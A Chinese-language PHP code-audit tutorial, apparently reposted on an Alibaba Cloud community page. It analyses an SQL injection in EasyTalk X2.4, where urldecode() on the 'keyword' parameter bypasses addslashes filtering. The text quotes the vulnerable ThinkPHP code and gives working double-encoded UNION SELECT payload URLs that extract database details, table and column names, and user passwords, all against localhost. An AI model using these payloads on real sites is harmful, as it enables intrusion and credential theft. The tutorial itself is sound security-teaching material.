【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 2.全域防護Bypass之UrlDecode

來源:互聯網
上載者:User

標籤:

0x01 背景

現在的WEB程式基本都有對SQL注入的全域過濾,像PHP開啟了GPC或者在通用檔案common.php上使用addslashes()函數對接收的參數進行過濾,尤其是單引號。遇到這種情況我們就需要找一些編碼解碼的函數來繞過全域防護,這篇文章講urldecode()的情況,同樣大牛請自覺繞道~
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 環境搭建

看背景我們使用了低版本的easytalk程式,版本為X2.4
①源碼我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解壓到www的easytalk目錄下,按照提示一步步安裝即可,遇到問題自行百度或Google,成功後訪問如:

0x03 漏洞分析

首先看下源碼結構,用的ThinkPHP架構,比較複雜:

有興趣的可以去研究下再繼續往下看,新手可以知道ThinkPHP對接收的參數是有過濾的,並且根據你伺服器是否開啟GPC會做相應的處理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php檔案第266行:

/**
+----------------------------------------------------------
* 如果 magic_quotes_gpc 為關閉狀態,這個函數可以逸出字元串
+----------------------------------------------------------
* @access public
+----------------------------------------------------------
* @param string $string 要處理的字串
+----------------------------------------------------------
* @return string
+----------------------------------------------------------
*/
static public function addSlashes($string) {
if (!get_magic_quotes_gpc()) {
$string = addslashes($string);
}
return $string;
}

 

2.使用Seay代碼審計系統的全域搜尋功能,搜尋包含關鍵字為”urldecode”的檔案,發現TopicAction.class.php包含一個對接收的參數keyword進行urldecode並且有sql查詢的地方:

3.我們跟進這個php檔案,發現接收keyword就對其進行urldecode轉碼,然後立即帶入查詢,造成注入:

public function topic()
{
$keyword = $this->_get(‘keyword‘, ‘urldecode‘);//使用ThinkPHP架構內建的_get對接收的keyword參數進行urldecode(詳見http://doc.thinkphp.cn/manual/get_system_var.html)
if ($keyword) {
$topic = D(‘Topic‘)->where("topicname=‘$keyword‘")->find();//ok,帶入查詢了
if ($topic) {
$isfollow = D(‘Mytopic‘)->isfollow($topic[‘id‘], $this->my[‘user_id‘]);
$topicusers = D(‘MytopicView‘)->where("topicid=‘$topic[id]‘")->order(‘id desc‘)->limit(9)->select();
$widget = M(‘Topicwidget‘)->where("topicid=‘$topic[id]‘")->order(‘`order` ASC‘)->select();
if ($widget) {
foreach ($widget as $val) {
$topicwidget[$val[‘widgettype‘]][] = $val;
}
}
$this->assign(‘topicwidget‘, $topicwidget);
} else {
$count = $isfollow = 0;
}

$this->assign(‘comefrom‘, ‘topic‘);
$this->assign(‘keyword‘, $keyword);
$this->assign(‘topic‘, $topic);
$this->assign(‘topicusers‘, $topicusers);
$this->assign(‘isfollow‘, $isfollow);
$this->assign(‘subname‘, ‘#‘ . $keyword . ‘#‘);
$this->display();
} else {
header("location:" . SITE_URL . ‘/?m=topic&a=index‘);
}
}

 

0x04 漏洞證明

1.我們構造擷取資料庫相關資訊的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23

成功擷取到資訊如下:

查看下MySql日誌,發現成功執行了sql語句:

2.我們構造擷取資料庫eazytalk所有表的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23

成功擷取所有表資訊如下:

4.構造擷取表et_users所有欄位資訊的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23

成功擷取表et_users所有欄位資訊如下:

5.構造擷取et_users表第一條賬戶的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23

成功擷取表admin的賬戶密碼如下:

,原文連結:http://www.cnbraid.com/2015/12/24/sql1/,如需轉載請聯絡作者。

 

 

【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 2.全域防護Bypass之UrlDecode

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.